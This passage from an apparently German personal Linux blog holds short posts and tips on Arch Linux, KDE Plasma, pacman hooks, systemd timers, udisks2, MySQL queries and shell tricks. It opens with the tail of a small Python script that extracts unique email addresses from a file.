# Regex und Suche ohne doppelte Treffer
EMAILREGEX = re.compile(
    r'[a-z0-9!#$%&*+=?^_`{|}~-]+(?:\.[a-z0-9!#$%&*+=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?', re.IGNORECASE)
TREFFERDOPPELT = EMAILREGEX.findall(EMAILDATEI)
TREFFEREINFACH = set(TREFFERDOPPELT)

# Treffer ausgeben und in Datei schreiben
with open(ZIELDATEI, 'w') as f:
    for row in TREFFEREINFACH:
        print(row)
        f.write("%s\n" % str(row))

Habe ich schon erwähnt, dass ich so gut wie gar nicht programmieren kann? Nein? Gut ich kann es so gut wie nicht. Aber erstaunlicherweise funktioniert es. Auf eine Prüfung ob die jeweilige E-Mail-Adresse gültig ist, habe ich bewusst verzichtet. Das wird mit RegEx sonst ein Fass ohne Boden. Vor allem weil ich RegEx noch weniger beherrsche als z. B. Python. Von daher wie immer... Benutzung auf eigene Gefahr.

Nachtrag:

Nach einem Testlauf ist mir aufgefallen, dass einige Adressen mehrfach vorhanden sind. Ich habe das Script daher noch einmal angepasst, so dass nun keine doppelten Adressen ausgegeben werden.

Nachtrag 2

Ich habe das Script noch einmal angepasst. Zum einen wird nun die Quelldatei sowie die Zieldatei abgefragt und ist nicht mehr fest hinterlegt und zum anderen habe ich mich an den PEP8-Richtlinien (außer der Zeilenlänge) orientert.


Bessere Broadcom-Treiber dank Cypress?

Viele werden bereits Erfahrungen mit WLAN-Adaptern von Broadcom unter Linux gemacht haben. In der Regel sind das keine guten. Böse Zungen behaupten, dass es sich hier um Blinker-Hardware handelt. Geht, geht nicht, geht, geht nicht. Und so falsch ist das nicht. Die WLAN-Karte in meinem X130 war von Broadcom. Was habe ich über die Treiber geflucht... Das könnte sich nun ändern.

Vor einiger Zeit wurde bekannt, dass Cypress den WiFi-Bereich von Broadcom übernimmt. Nun hat Cypress die Datasheets von Broadcom veröffentlicht. Ich bin definitiv kein Programmierer. Aber eventuell kann man mit diesen Informationen schon freie Treiber entwickeln, die zumindest besser als die aktuellen Treiber sind. Oder vielleicht legt Cypress selbst Hand an und veröffentlicht eigene Linux-Treiber bei denen man keine 10 Ave Maria beten muss, damit die Adapter zumindest halbwegs funktionieren.

Mal sehen, was daraus wird. Mehr als spekulieren kann man aktuell wohl nicht.


Howl Editor

Regelmäßig sehe ich mir auf archlinux.org die Liste der kürzlich aktualisierten Pakete an. Ab und zu stoße ich hierbei auf Programme die ich bisher noch nicht kannte. Heute habe ich den Editor Howl entdeckt.

Howl ist ein Editor der für die Benutzung mittels Tastatur ausgelegt ist und der mittels Lua bzw. Moonscript anpassbar ist. Eigentlich bin ich aktuell mit den von mir verwendeten Editoren zufrieden. Mit Howl habe ich bisher nur etwas herumgespielt und somit auch nur die Spitze des Eisbergs angekratzt. Aber ich muss sagen, ich habe mich mit Howl gleich daheim gefühlt. Was vermutlich auch daran liegt, dass viele Shortcuts etwas eingängiger sind als bei anderen Editoren.

Jemand aus dem Entwicklerteam, hat auf Youtube ein Einführungsvideo erstellt, das ganz gut zeigt, was man alles mit Howl anstellen kann.

Howl wird im aktuellen Zustand bestimmt nicht vim in den Boden stampfen, aber ich finde dass er sich nicht schlecht schlägt.


Logdatei mit TAI64N-Timestamps lesbar machen

Ich habe hier eine Logdatei bei der jede Zeile mit einer Zahlenreihenfolge beginnt. Nach etwas Recherche habe ich herausgefunden, dass es sich um TAI64-Timestamps handelt. 4611686018427387904 entspricht hier z. B. dem 01.01.1970 01 Uhr.

Um diesen Timestamp lesbar zu machen, kann man sich des Tools tai64nlocal bedienen. Man findet es im Paket daemontools.

Mittels z. B. cat $logdatei | tai64nlocal | less schickt man mit cat die Logdatei an tai64nlocal und lässt sich dann den umgewandelten Inhalt mit less anzeigen.


Prüfen ob externes Gehäuse das USB Attached SCSI Protocol beherrscht

Vor ein paar Tagen hat sich der USB-Anschluss meines externen Fesplattengehäuses von der Platine gelöst (ja ich war da nicht ganz unschuldig...). Als Ersatz habe ich mir das Gehäuse Quickstore Portable von Sharkoon gekauft. Laut den technischen Daten soll es UASP unterstützen.

Bei UASP handelt es sich um ein Protokoll das die Datenübertragung per USB bis zu 30 Prozent beschleunigt. Unter Linux wird das Protokoll ab Kernel 2.7 unterstützt. Aber sicher ist sicher. Daher habe ich vorsichtshalber mal nachgesehen.

Als erstes habe ich mir mittels lsmod | grep usbcore erst einmal die geladenen Module angesehen. Hier wird bei mir unter anderem uas angezeigt. Schon mal nicht schlecht.

Als nächstes habe ich lsusb ausgeführt um mir die USB-Geräte anzuzeigen. Hier habe ich unter anderem folgende Ausgabe erhalten.

Bus 001 Device 004: ID 357d:7788 Sharkoon QuickPort XT

Hier merkt man sich die Bus- und die Device-Nummer. Abschließen habe ich noch lsusb -t ausgeführt und bei der Ausgabe nach der Zeile gesucht die mit der obigen Bus- und Device-Nummer übereinstimmt.

/:  Bus 01.Port 1: Dev 1, Class=root_hub, Driver=ehci-pci/3p, 480M
    |__ Port 1: Dev 2, If 0, Class=Hub, Driver=hub/6p, 480M
        |__ Port 2: Dev 4, If 0, Class=Mass Storage, Driver=uas, 480M

Als Treiber wird hier uas genutzt. Das USB Attached SCSI Protokoll wird also verwendet. Gefühlt ist das neue Gehäuse deutlich schneller, obwohl nur eine ganz normale 2,5 HDD zum Einsatz kommt. Ob das allerdings wirklich nur an UASP liegt, kann ich nicht sagen. Das vorherige Gehäuse war eher von der Marke "Grabbeltisch".


Archlinux.org schafft Beginners Guide ab

Bei mir laufen inzwischen mehrere Geräte mit Arch Linux. Da hier eine Neuinstallation aufgrund von rolling Release recht selten ist, merke ich mir die einzelnen Schritte nicht alle. Daher habe ich jedes mal auf den Beginners Guide zurückgegriffen. In dieser Schritt-für-Schritt-Anleitung braucht man zum Großteil nur die Befehle abtippen und hat am Ende eine lauffähige Installation von Arch Linux.

Im Wiki von Archlinux.org zeigt nun der Link des Beginners Guide auf die normale Installationsanleitung. Dieser Schritt ist scheinbar schon seit einigen Jahren geplant, und wurde nun durchgezogen. Der Sinn dahinter ist wohl, die beiden Anleitungen zu verschmelzen um so nur eine Anleitung aktualisieren zu müssen. Macht aus meiner Sicht durchaus auch Sinn. Aber...

In der aktuellen Installationsanleitung wird zum Teil nur noch auf andere Wiki-Seiten verwiesen. So zum Beispiel bei dem Teil bei dem es um die Partitionen geht. Hier haben wir dann folgende Links:

https://wiki.archlinux.org/index.php/Partition_table
https://wiki.archlinux.org/index.php/Fdisk
https://wiki.archlinux.org/index.php/Parted
https://wiki.archlinux.org/index.php/MBR
https://wiki.archlinux.org/index.php/GPT
https://wiki.archlinux.org/index.php/Gdisk
https://wiki.archlinux.org/index.php/UEFI
https://wiki.archlinux.org/index.php/EFI_System_Partition
https://wiki.archlinux.org/index.php/GRUB
https://wiki.archlinux.org/index.php/LVM
https://wiki.archlinux.org/index.php/Disk_encryption
https://wiki.archlinux.org/index.php/RAID

Ok...

Der Link zur Verschlüsselung bringt hinsichtlich des eigentlichen Installationsvorgangs auch nichts. Also muss man sich von dort über https://wiki.archlinux.org/index.php/Dm-crypt auf https://wiki.archlinux.org/index.php/Dm-crypt/Encrypting_an_entire_system vorkämpfen.

Vermutlich habe ich hier eine andere Ansicht als die Entwickler der Distribution. Aber eine Anleitung besteht für mich nicht zu einem Großteil aus Verweisen. Zielgruppe hin oder her. Zumal ja durchaus einige Sachen auch im Detail direkt in der Installationsanleitung beschrieben werden. Wie z. B. das Erstellen des Root-Passworts mit passwd. Das ist meiner Meinung nach aber dann wieder so 0815, dass ich nicht nachvollziehen kann, wieso es direkt in der Anleitung erscheint.

Aktuell finde ich das ganze ziemlich seltsam und mir kommen zwei Möglichkeiten in den Sinn. Entweder wurde die Aktion mit der heißen Nadel gestrickt. Oder es wird hier künstlich versucht die Schwelle für die Einsteiger zu erhöhen. Ich würde mich nach über 10 Jahren mit Linux nicht mehr als Anfänger bezeichnen. Aber sorry, die Installationsanleitung ist mir in der jetzigen Form zu umständlich. Aber wie schon gesagt, vielleicht habe ich da einfach eine andere Ansicht wie die Entwickler. Und vielleicht liege ich auch falsch.

Wer der deutschen Sprache mächtig ist, findet auf wiki.archlinux.de übrigens noch den deutschsprachigen "Anleitung für Einsteiger". Da ich nicht sagen kann, ob das deutschsprachige Wiki hier mit dem englischsprachigen gleichzieht, habe ich mir diese auch gleich mal als PDF gesichert.


Windows PowerShell für Linux und OS X veröffentlicht

Unter Windows setze ich die PowerShell recht gerne ein, da sich damit einiges mehr bzw. einfacher machen lässt als mit dem normalen Kommandozeilenprogramm cmd.exe. Microsoft hat den Sourcecode der Powershell nun unter der MIT-Lizenz auf Github veröffentlicht. Das ganze ist aktuell als Alpha-Version gekennzeichnet.

Neben dem Sourcecode werden neben den Paketen für Windows auch Pakete für Ubuntu, CentOS und OS X angeboten. Wer will, kann somit die PowerShell auch abseits von Windows nutzen. Ich selbst werde unter Linux aber bei der ZSH bleiben. Für Arch Linux gibt es übrigens auch schon ein Paket im AUR. Allerdings scheint hier die Installation noch nicht ganz zu funktionieren.


Paketverwaltung von Arch Linux auf dem Raspberry Pi beschleunigen

Seit längerem stelle ich einen Server für Quake 3 Arena zur Verfügung. Dieser läuft auf einem Raspberry Pi 3 mit ALARM (Arch Linux für ARM). Da dieser jedem zur Verfügung steht, muss ich regelmäßig die Pakete aktualisieren. Hierbei hängt der Updatevorgang in der Regel bei (1/3) Updating manpage index... und (2/3) Updating the info directory file... für einige Minuten fest.

Um beides schnell abzuwickeln ist der Raspberry Pi einfach zu schwach. Daher habe mir überlegt, brauche ich direkt nach einem Update bzw. einer Installation eines Pakets z. B. einen aktuellen Manpage-Index auf dem Raspberry Pi? Eigentlich nicht. Verantwortlich für die beiden Schritte sind sogenannte Hooks die es seit Pacman 5 gibt. Diese liegen unter /usr/share/libalpm/hooks/. In dem Verzeichnis liegen unter anderem die Dateien man-db.hook und texinfo-install.hook. Laut der Manpage von libalpm lassen sich die Hooks deaktivieren wenn man sie nach /dev/null umleitet. Um nicht an den originalen Hooks Änderungen vorzunehmen, erstellen wir unter /etc/pacman.d erst einmal das Verzeichnis hooks. Alle Hooks die dort vorhanden sind, überschreiben die, die unter /usr/share/libalpm/hooks/ vorhanden sind. Dort erstellen wir dann zwei Symlinks die nach /dev/null zeigen.

ln -s /dev/null /etc/pacman.d/hooks/man-db.hook 
ln -s /dev/null /etc/pacman.d/hooks/texinfo-install.hook

Installiert oder aktualisiert man nun ein Paket und hat die Debug-Funktion von pacman aktiviert, sollte man folgende Zeilen in der Ausgabe finden und der Vorgang sollte schnell durchlaufen.

debug: skipping overridden hook /usr/share/libalpm/hooks/man-db.hook 
debug: skipping overridden hook /usr/share/libalpm/hooks/texinfo-install.hook

So ganz ohne aktuellen Manpage-Index wollte ich dann aber doch nicht sein. Früh morgens findet auf dem Server im Grunde genommen keine Aktivität statt. Dann könnte man beide Hooks ja eigentlich laufen lassen. Lösen kann man das ganze über systemd und den timern. Diese sind in etwa vergleichbar mit den bekannten Cronjobs. Unter /etc/systemd/system/ erstellt man hierfür erst einmal zwei Service- sowie zwei Timer-Dateien mit folgendem Inhalt.

manpage-index.service

[Unit]
Description=Manpage-Index aktualisieren 

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'mkdir -p /var/cache/man; exec mandb --quiet --no-purge'

manpage-index.timer

[Unit]
Description=Manpage-Index täglich aktualisieren

[Timer]
OnCalendar=*-*-* 02:30:00
Persistent=true

texinfo-index.service

[Unit]
Description=Texinfo aktualisieren

[Service]
Type=oneshot
ExecStart=/bin/sh -c 'for f in /usr/share/info/*.gz; do install-info "$f" /usr/share/info/dir 2> /dev/null; done'

texinfo-index.timer

[Unit]
Description=Run texinfo updater daily

[Timer]
OnCalendar=*-*-* 03:30:00
Persistent=true

Mit systemctl start texinfo-index.timer und systemctl start manpage-index.timer werden die beiden Timer dann noch abschließend aktiviert, so dass diese nun täglich um 2.30 und 3.30 Uhr gestartet werden.


Netctl funktioniert wegen Abhängigkeit von powerdevil nicht mehr

Vor ein paar Tagen habe ich KDE Plasma 5.7 unter Arch Linux auf meinem Notebook installiert. Nach einem Neustart konnte ich keine Verbindung mit dem WLAN aufbauen. Egal was ich versucht habe, der Service von netctl konnte nicht gestartet werden.

Nach einigen Minuten habe ich festgestellt, dass der Service von NetworkManager läuft. Frage 1. Warum läuft NetworkManager? Frage 2. Warum ist das Teil überhaupt installiert? Die zweite Frage konnte ich schnell beantworten. PowerDevil (ein Dienstprogramm unter KDE Plasma welches für die Energieverwaltung für Notebooks usw. zuständig ist), hat nun die fixen Abhängigkeiten networkmanager und networkmanager-qt. Frage 1 ist schon schwieriger. Wenn ich mittels systemctl stop NetworkManager.service Networkmanager stoppe kann ich eine WLAN-Verbindung mit netctl aufbauen. Ok, dann eben noch ein systemctl disable NetworkManager.service um den Dienst zu deaktivieren. Neustart... Netctl kann keine Verbindung aufbauen. Ah ja... Ein systemctl status NetworkManager.service zeigt mir, dass NetworkManager läuft. Ok... Scheinbar "braucht" irgendein anderer Service NetworkManager (wenn er installiert ist) und aktiviert mal eben ganz frech den Service wieder. Da ich an dieser Stelle keine Lust mehr hatte und reichlich genervt war, habe ich die Keule ausgepackt und den Service von NetworkManager kurzerhand mittels systemctl mask NetworkManager.service maskiert. Das hat zu folge, dass man den Dienst gar nicht mehr starten kann. Auch nicht von Hand. Hierfür müsste ich die Maskierung erst wieder entfernen. Ist mir aber auch egal. Ich mag NetworkManager nicht und PowerDevil funktioniert bei mir auch ohne NetworkManager.

Ich hoffe mal, dass die Entwickler von PowerDevil ein Einsehen haben, und NetworkManager als feste Abhängigkeit entfernen. Wegen mir kann das Zeug ja als optionale Abhängigkeit bestehen bleiben. Irgendeinen Sinn wird NetworkManager bei PowerDevil ja haben.


Nutzungsvereinbarung von Let's Encrypt ändert sich zum 01.08.2016

Ich habe heute von Let's Encrypt eine E-Mail bekommen, dass sich zum 01.08.2016 die Nutzungsvereinbarung ändert. In der E-Mail wird auf https://letsencrypt.org/repository/ verwiesen. Dort ist die aktuelle sowie die zukünftige Vereinbarung als PDF-Datei hinterlegt. Ein schneller Abgleich bezüglich der Änderungen klappt so nicht wirklich. Kenn White hat daher unter https://gist.github.com/kennwhite/9541c8f37ec2994352c4554ca2afeece/revisions einen Diff veröffentlicht. Vielen Dank dafür. Zukünftig will Let's Encrypt dafür sorgen, dass Änderungen bereits von offizieller Seite besser ersichtlich sind.


Die gute Fee des Internets verstärkt das Vivaldi-Team

Molly Holzschlag, auch als gute Fee des Internets bekannt, ist eine Autorin, Dozentin und Verfechterin des Open Web. So hat Sie z. B. an dem bekannten Buch The Zen of CSS Design mitgewirkt und hat bereits für Microsoft, eBay, AOL und BBC gearbeitet.

Das Unternehmen das hinter dem Browser Vivaldi steht, welcher oft als Nachfolger von Opera bezeichnet wird, hat nun bekannt gegeben, dass sie Molly Holzschlag als Mitarbeiterin gewinnen konnten. Unter anderem soll sie dem Vivaldi-Team helfen den Browser in eine Richtung zu entwickeln, die die "technische und philosophische Wahrheit" des Open Web fördert. Zudem soll Sie Web-Desinger und -Entwickler näher an den Entwicklungsprozess bringen.

Bin gespannt, inwieweit sich Vivaldi dank Molly Holzschlag in Zukunft ändern bzw. verbessern wird.


Mausgesten lassen sich unter Vivaldi nun offiziell anpassen

Seit Jahren bin ich ein großer Fan von Mausgesten um den Browser zu steuern. Bisher konnte man unter Vivaldi zwar Mausgesten nutzen, diese aber offiziell nicht anpassen. Eine inoffizielle Möglichkeit hatte ich vor ein paar Monaten veröffentlicht. Mit dem aktuellen Snapshot von Vivaldi ist dies nun auch ganz offiziell möglich.

Über das Menü Werkzeuge -> Einstellungen (alternativ ALT+P) ruft man einfach die Einstellungen von Vivaldi aus und wählt den Punkt Maus aus (wer hätte das gedacht...). Hier kann man nun vorhandene Mausgesten anpassen indem man die gewünschte Gestenzuordnung auswählt und dann auf das Stiftsymbol klickt. Neue Funktionen kann man hinzufügen indem man auf das Pluszeichen klickt. Nicht benötigte Mausgesten lassen sich um das Minuszeichen entfernen.

Vivaldi_Mausgesten

Was soll ich sagen. Vivaldi wir von Snapshot zu Snapshot besser. Und die Entwickler hören auch auf das was die Nutzer wollen. Mir selbst fehlt jetzt eigentlich nur noch eine Funktion. Und zwar, dass man die Bestandteile der grafischen Oberfläche mit der Maus dorthin verschieben kann wo man sie haben will. Seit Opera habe ich mich nämlich daran gewöhnt, dass die Symbole für "Seite neu laden" usw. rechts neben der Adresszeile sind und nicht wie es aktuell der Fall ist rechts.


Shellscripte mit Zeilenumbrüchen übersichtlicher machen

Ab und zu werden einzelne Zeilen in einem Shellscript recht lang. Oft zu lang um übersichtlich zu bleiben. Sichert man beispielsweise mit Borg mehrere Verzeichnisse / Dateien kommt z. B. folgendes dabei heraus.

borg create /pfad/zum/repository/::Montag /home/benutzer/verzeichnis1 /home/benutzer/verzeichnis2 /home/benutzer/verzeichnis3 /home/benutzer/verzeichnis4 /home/benutzer/verzeichnis5 /home/benutzer/verzeichnis6

Übersichtlich ist anders. Also einfach mal ein paar Zeilenumbrüche einbauen?

borg create /pfad/zum/repository/::Montag
/home/benutzer/verzeichnis1
/home/benutzer/verzeichnis2 
/home/benutzer/verzeichnis3 
...

Sieht doch schon mal nicht schlecht aus. Mehr aber auch nicht. Denn funktionieren wird das nun nicht mehr, da jede Zeile für sich verarbeitet wird. Das Problem kann man aber recht einfach umgehen. Man packt einfach, von der letzten Zeile abgesehen, einen Backslash an die Ende jeder Zeile.

borg create /pfad/zum/repository::Monat \ 
/home/benutzer/verzeichnis1 \ 
/home/benutzer/verzeichnis2 \ 
/home/benutzer/verzeichnis3 \ 
/home/benutzer/verzeichnis4 \ 
/home/benutzer/verzeichnis5 \ 
/home/benutzer/verzeichnis6

So werden die Zeilenumbrüche ignoriert und der Befehl wird abgearbeitet wie wenn alles in einer Zeile stehen würde.


Terminator - Nach oben scrollen wenn unten etwas ausgegeben wird

Baut man beispielsweise ein Paket aus dem AUR, bekommt man in der Regel eine längere Ausgabe in der Shell angezeigt. Ab und zu kommt es vor, dass mir hier diverse Stellen auffallen, welche ich mir ansehen möchte bevor das Paket tatsächlich erstellt wurde. Unter dem von mir verwendeten Terminal-Emulator Terminator scrolle ich dann nach oben um dann quasi sofort wieder am Ende der Ausgabe zu landen, weil eine neue Zeile ausgegeben wurde. 

Da ich in der aktuellen Einstellung von Terminator nur maximal 500 Zeilen nach oben scrollen kann und beim erstellen von Paketen oft mehr zusammenkommen ist das oft blöd. Vor allem wenn sich die interessante Stellen recht weit oben befindet.

Da Terminator Richtung "eierlegende Wollmilchsau" geht, war ich mir sicher, dass man das Verhalten irgendwie ändern kann. In den Einstellungen habe ich aber nichts gefunden. Wie ich nun feststellen musste, habe ich einfach an der falschen Stelle gesucht. Ruft man die Einstellungen auf muss man den Reiter "Profile" auswählen. Hier findet man recht dann den Reiter "Bildlauf". Entfernt man dort den Haken bei "Bildlauf bei Ausgabe" kann man problemlos nach oben scrollen wenn am Ende eine Ausgabe erfolgt.


Btrfs-Treiber für Windows

Um unter Windows auf Partitionen mit dem Dateisystem ext3/4 zugreifen zu können gibt es Tools wie den Linux Reader von Diskinternal. Für Partitionen mit dem Dateisystem Btrfs ist mir noch kein funktionierendes Programm untergekommen. Wenn man also, wie ich, Btrfs nutzt und unter Windows mal eben auf die Linux-Partitionen zugreifen will ist das blöd. Die Situation könnte sich nun eventuell ändern.

Der Nutzer maharmstone hat auf Github eine erste Version von WinBtrfs veröffentlicht. Laut dem Entwickler ist ein Lese- und Schreibzugriff bereits möglich. Sachen wie RAID oder LZO-Komprimierung werden allerdings derzeit noch nicht unterstützt. Das ganze ist als erste Alpha-Version gekennzeichnet. Von einem produktiven Einsatz sollte man derzeit somit noch absehen. Feedback ist laut maharmstone willkommen. Egal ob positiv oder negativ.


Abmelden und Co. unter KDE Plasma nicht bestätigen

Eigentlich mag ich KDE Plasma. Aber ein paar Kleinigkeiten nerven mich auch. So zum Beispiel dass man in der Standardkonfiguration das Herunterfahren, Neustarten bzw. Abmelden bestätigen muss. Oder man wartet bis der 30-sekündige Timer abgelaufen ist. Beides finde ich weniger gut. Perfekt wäre es, wenn man den Timer einstellen könnte. Sagen wir auf 3 Sekunden. Somit hat man, wenn man sich dann doch einmal verklicken sollte, noch die Chance den Vorgang abzubrechen. Ein Ändern des Timers sieht das KDE-Team aber scheinbar nicht vor. Wieso auch immer. Aber zumindest gibt es eine Möglichkeit den Timer komplett außer Kraft zu setzen. Hierzu editiert man einfach die Datei ~/.config/ksmserverrc. Unter [General] findet man den Eintrag confirmLogout=true, welchen man auf false setzt und die Datei wieder abspeichert. Alternativ kann man im in den Systemeinstellungen von KDE Plasma auch unter Arbeitsbereich "Starten und Beenden" auswählen. Dort klickt man dann links auf "Arbeitsflächen-Sitzung" und wählt dann rechts "Abmeldung bestätigen" ab. und speichert die Änderung.


Ohne Maus im Terminal scrollen

Ab und an spuckt ein Befehl wie z. B. hwinfo mehr aus, als auf den Bildschirm passt. Vor allem wenn man ein Net- bzw. Notebook nutzt. Ich selbst verwende zsh als Shell und terminator als Terminal-Emulator. Das ganze ist so eingestellt, dass ich mit den Cursortasten durch die Historie der Befehle "scrollen" kann. Wie bekommt man aber die Bildlaufleiste dazu nach oben bzw. unten zu scrollen? 

Am einfachsten dürfte es mit der Maus sein, indem man entweder der Mausrad nutzt oder die Bildlaufleiste nach oben bzw. unten zieht. Was aber wenn man an seinem Notebook keine Maus angeschlossen hat? Und auch das Touchpad deaktiviert hat? Man drückt einfach zwei Tasten. Mit Shift und Bild↓ scrollt man nach oben und mit Shift und Bild scrollt man nach unten.


Ich mag RegEx weiterhin nicht, aber…

Vor einiger Zeit habe ich einen kleinen Artikel geschrieben in dem ich auf eine gute Einführung in die "Regulären Ausdrücke", auch RegEx genannt, verwiesen habe. Leider ist diese Einführung nicht mehr aufrufbar. Und leider stehe ich mit RegEx immer noch auf Kriegsfuß. Und was am schlimmsten ist, ist dass ich demnächst ganz sicher RegEx benötige. Was bin ich froh, dass ich in den Tiefen des Internets einen Artikel von Daniel Fett gefunden habe, der RegEx wirklich klasse erklärt. Vielen Dank dafür. Vielleicht kann der eine oder andere ja auch etwas damit anfangen. Vorsichtshalber habe ich mir die Seite auch gleich als PDF-Datei abgespeichert. Sicher ist sicher.


Externe Speichermedien mit udisks2 unter /media/ mounten

Nutzt man udisks2 zum Mounten von z. B. externen Festplatten wird hierfür unter /run/media/Benutzername/ ein Mountpoint erstellt, der entweder der UUID oder dem Label des Mediums entspricht. In diesem Verzeichnis greift ACL, was auf einem System mit mehreren Benutzern durchaus Sinn machen kann. Auf meinen Rechnern bin ich aber der alleinige Nutzer und mit geht das Mounten unter /run/media/Benutzername/xyz/ auch ehrlich gesagt einfach auf den Zeiger.

Wie also bekommt man udisks2 dazu unter /media/xyz/ zu mounten? Erst einmal erstellt unter /etc/udev/rules.d/ einfach die Datei 99-udisks2.rules. In diese schreibt man dann noch ENV{ID_FS_USAGE}=="filesystem|other|crypto", ENV{UDISKS_FILESYSTEM_SHARED}="1". Die 1 bedeutet, dass der Mountpoint unter /media/ erstellt wird. Ändert man das ganze auf 0 wird wieder /run/media/Benutzername/ verwendet. Sollte das Verzeichnis /media/ noch nicht vorhanden sein, sollte man es abschließend noch als Root erstellen. Ansonsten funktioniert es nicht wirklich.


Größe einer MySQL-Datenbank herausfinden

Heute hat es mich mal interessiert, wie groß die MySQL-Datenbank sind, welche auf meinem Uberspace laufen. Daher habe ich mir mal etwas mit SQL-Abfragen gebaut.

SELECT sum(round(((data_length + index_length) / 1024 / 1024), 2)) as "Größe in MB" 
FROM information_schema.TABLES 
WHERE table_schema = "Datenbankname"

Hier wird der Wert aus data_length und index_length der Datenbank welche man anstelle von Datenbankname angibt zusammengezählt und das Ergebnis auf zwei Stellen gerundet.

Hat man mehrere Datenbanken kann man deren Größe auch auf einen Schlag anzeigen lassen. Hierzu kann man folgende Abfrage nutzen.

SELECT table_schema, sum(round(((data_length + index_length ) / 1024 / 1024),2)) "Größe in MB"
FROM information_schema.TABLES
GROUP BY table_schema ;


Double Commander nun hoffentlich komplett in deutscher Sprache

Obwohl ich mit meinem derzeitigen Setup zufrieden bin, werfe ich ab und zu mal einen Blick auf alternative Programme. Wenn es um einen Dateimanager geht, setze ich seit Jahren schon auf Krusader. Gestern habe ich mir aber einmal den Double Commander genauer angesehen. Für meinen Geschmack ist das derzeit die beste Alternativ zu Krusader.

Nur eine Kleinigkeit hat mich sehr gestört. Der Commander ist so eingestellt, dass er das Programm in deutscher Sprache anzeigen soll. An einigen Stellen hat es geklappt, andere wurden in englischer Sprache angezeigt. So einen Mischmasch kann ich gar nicht haben. Entweder oder. Nicht mal so mal so.

Ich habe mir dann mal unter /usr/lib/doublecmd/language/ die Sprachdatei angesehen, welche für die deutsche Sprache zuständig ist. Jede Stelle die im Programm nicht in Deutsch angezeigt wurde, war in der Sprachdatei als "Fuzzy" gekennzeichnet. Das passiert zum Beispiel dann, wenn das Programm an sich geändert wird und somit die jeweilige Übersetzung eventuell nicht mehr passt. Somit kann der Übersetzer, der die PO-Datei erstellt hat sich die betreffenden Stellen ansehen und ggf. anpassen. Da ich keine Lust habe, so lange zu warten habe ich mich mal selbst ans Werk gemacht. Nach einigem Hin und Her habe ich mich für das Programm Lokalize entschieden. Da ich KDE 5 (ja es gibt kein KDE 5) benutze war es eh schon installiert. Mit diesem Tool habe ich einfach mal die betreffenden Fuzzy-Lines angesehen und geprüft. Viele habe ich einfach bestätigt, viele habe ich aber auch geändert. Die eine oder andere Übersetzung die eigentlich gar nicht betroffen war, habe ich ebenfalls angepasst, da mir die vorhandene nicht wirklich gefallen hat.

Circa 5 Stunden später (den Aufwand habe ich ernsthaft unterschätzt) "erstrahlt" der Double Commander nun komplett in deutscher Sprache. Außer ich habe etwas übersehen. Mit der einen oder anderen Übersetzung (sowohl von mir als auch vom ursprünglichen Übersetzer) bin ich allerdings immer noch nicht zufrieden. Zum einen ist mir teilweise nichts besseres eingefallen, zum anderen war der vorhandene Platz in der grafischen Oberfläche einfach zu klein.

Abschließend bleibt aber noch ein Problem. Naja eigentlich zwei. Um die Übersetzung in die Entwicklung einfließen zu lassen, müsste ich die Datei mit einem Subersion-Zugang hochladen. Von Subversion habe ich allerdings keinen blassen Schimmer. Und was noch viel schlimmer ist, das Projekt wird bei Sourceforge gehostet. Nach deren Aktion vor ein paar Monaten will ich mit dem Verein eigentlich gar nichts zu tun haben. Mal schauen wie ich das ganze löse. Bis mir etwas, für mich, sinnvolles eingefallen ist, kann man die Datei auch hier herunterladen.


Kontrollleiste unter KDE Plasma 5 verschieben

Wie viele andere Nutzer auch, setze ich zwei Monitore ein. Einmal den direkt vor mir als Hauptmonitor und einen links daneben auf dem Sachen laufen die ich nicht immer im direkten Blick haben muss wie z. B. längere Updates oder Downloads. Oder das E-Mail-Programm. Auf dem Monitor direkt vor mir wir dann auch die Kontrollleiste von KDE Plasma 5 angezeigt. Vor ein paar Tagen als ich den Rechner gestartet hatte war die Leiste aber auf den linken Monitor. Keinen Schimmer wie das passiert ist. Genauso wie ich keinen Schimmer hatte, wie zur Hölle ich die Leiste jetzt wieder auf den richtigen Monitor bekomme.

Nachdem ich Google einige Zeit erfolglos gequält habe, habe ich die Lösung dann durch Versuch und Irrtum gefunden. Als erstes entsperrt man die Miniprogramme. Hierzu macht man einfach einen Rechtsklick auf den Desktop und wählt "Miniprogramme entsperren" aus. Danach sollten in der Kontrollleiste ganz rechts drei übereinander liegende Striche erscheinen. Wenn diese schon angezeigt werden, kann man sich diesen Schritt auch sparen. Als nächstes klickt man auf die drei Striche. Hier sollte man dann folgende Anzeige bekommen.

Plasma_verschieben

Entscheidend ist hier der Punkt "Bildschirmkante". Klickt man auf diesen, passiert erst mal gar nichts. OK... Man muss nämlich darauf Klicken und die Maustaste gedrückt halten. Dann kann man die Kontrollleiste mit der Maus an die gewünschte Bildschirmkante verschieben. So sehr wie ich KDE bevorzuge... Aber wirklich aussagekräftig ist "Bildschirmkante" nun wirklich nicht. Vor allem weil es im Kontrollzentrum auch den Punkt "Bildschirmränder" gibt. Dort kann man z. B. einstellen dass wenn man mit dem Mauszeiger in die linke obere Ecke des Desktop fährt der Desktop gesperrt wird. Ober dass ein Fenster maximiert wird, wenn man es an den oberen Rand zieht usw.


Verzeichnisse nach einer bestimmten Reihenfolge erstellen

Neues Projekt, neue Probleme. Derzeit bin ich dabei, bestimmte Texte so mit Markdown zu formatieren, dass ich sie mittels pandoc in eine EPUB- sowie eine PDF-Datei umwandeln kann. Da es sich bei den Texten um mehr als 100 Stück handelt brauche ich hierfür eine gewisse Ordnung, sonst verliere ich die Übersicht. Von daher habe ich erste einmal ein Arbeitsverzeichnis angelegt. In diesem sollen dann Unterverzeichnisse von A bis Z angelegt werden in welche dann die Markdowndateien abgespeichert werden. Nur wie lege ich diese jetzt am besten an? Mittels mkdir A, mkdir B, mkdir C? Darauf würde ich gerne verzichten. Also eine Schleife? Das würde mir zumindest einiges an Arbeit ersparen. Die Lösung ist in diesem Fall aber noch einfacher. Das ganze lässt sich sogar mit mkdir direkt lösen. So reicht es aus mkdir {A..Z} auszuführen und schwups hat man Verzeichnisse von A bis Z angelegt. Braucht man Verzeichnisse mit Zahlen nimmt man beispielsweise einfach mkdir {1..10} und erstellt damit Verzeichnisse von 1 bis 10. Das ganze nennt man Brace Expansion. Damit lassen sich auch noch komplexere bzw. andere Sachen anstellen. So kann man beispielsweise durch mv test.{txt,bak} die Datei test.txt in test.bak umbenennen.


Fryboyter.de ab jetzt per https erreichbar

